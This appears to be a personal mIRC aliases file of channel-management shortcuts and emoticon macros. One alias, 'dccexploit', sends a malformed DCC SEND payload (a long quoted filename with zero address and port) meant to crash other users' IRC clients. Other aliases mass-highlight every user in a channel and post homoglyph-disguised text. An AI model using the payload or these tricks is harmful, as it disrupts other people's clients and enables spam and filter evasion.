/op /mode # +ooo $$1 $2 $3
/dop /mode # -ooo $$1 $2 $3
/j /join #$$1 $2-
/p /part #
/n /names #$$1
/w /whois $$1
/k /kick # $$1 $2-
/q /query $$1
/send /dcc send $1 $2
/chat /dcc chat $1
/ping /ctcp $$1 ping
/s /server $$1-
/mp3 /dde mplug announce
/bsa /bs say #omoronovoftp $$1-
/md5 /msg # The MD5 hash of $+(",$1-,") is $md5($1-)
/sha1 /msg # The SHA1 hash of $+(",$1-,") is $sha1($1-)
kb {
  var %n $1
  var %r = $2-
  var %c $active
 
  mode $active +b $address(%n,3) | kick $active %n %r
  timer 1 2 /mode $active -b $address(%n,3)
}
uptime {
  msg $active My 2uptime0 is $uptime(system,2)
}
msgall {
  //msg # $regsubex($str(~,$nick($chan,0)),/./g,$nick($chan,\n) $+ $chr(44) $+ $chr(32))
}
interject {
  //msg # Ι'd јuѕt lіkе tο іntеrјесt fοr а mοmеnt. Wһаt уοu'rе rеfеrrіng tο аѕ $$1-, іѕ іn fасt, $+(GNU,/,$($$1-)), οr аѕ Ι'vе rесеntlу tаkеn tο саllіng іt, GΝU рluѕ $$1-.
}
interject2 {
  //msg # Ι'd јuѕt lіkе tο іntеrјесt fοr а mοmеnt. Wһаt уοu'rе rеfеrrіng tο аѕ $$1, іѕ іn fасt, $+($($$2-,/,$($$1))), οr аѕ Ι'vе rесеntlу tаkеn tο саllіng іt, $$2- рluѕ $$1.
}
uc {
  /unload -rs remote.ini
}
lc {
  /load -rs scripts\remote.ini
}
/mad {
  /msg # YOU WANT RAGE? NOW I'M RAGING FOR REAL. YOU HAVEN'T SEEN RAGE UNTIL YOU'VE WITNESSED RAGE SUCH AS THIS. I AM RAGING INFINITY SUNS. THOUSAND DRAGON VOMIT YOUR ASS.
}
/cs /chanserv $1-
/ns /nickserv $1-
dccexploit {
  if ($1-) {
    .msg $1- ?
DCC SEND "hhhhhhhhhhhhhhhhhhhhhhhhhhhhhh" 0 0 0 | halt
  }
  else {
    echo -i10 $active $mtime($null) $mname($active,$me) ?
DCC SEND "hhhhhhhhhhhhhhhhhhhhhhhhhhhhhh" 0 0 0
    .msg $active ?
DCC SEND "hhhhhhhhhhhhhhhhhhhhhhhhhhhhhh" 0 0 0 | halt
  }
}
/derpface /msg # (。‿°) $1-
/why /msg # (屮゜Д゜)屮 щ(ﾟДﾟщ) $1-
/hs /msg hostserv $$1-
/smugface2 /msg # ( ≖‿≖) $1-
/derp /derpface $1-
/what /msg # ┐(ﾟ∀ﾟ)┌ $1-
/feelsbadman /msg # （　´_ゝ｀）
/smugface /msg # ( ¬‿¬) $1-
/smug /smugface $1-
/problem /msg # Problem, $$1-?
/herp /msg # (° ‿｡)
/smug2 /smugface $1-
/weaboo /msg # ( ﾟ◡◡ﾟ)♐
/sad /msg # ( ﾟ∩ﾟ)
/cute /msg # ｡◕ ‿ ◕｡
/idunno /msg # ┐('～`；)┌
ihope /msg # I seriously hope you guys don't do this.
/herpderp /msg # (°‿)。
/why2 /msg # щ(ﾟДﾟщ)
/no /msg # (◕ ◡ ◕)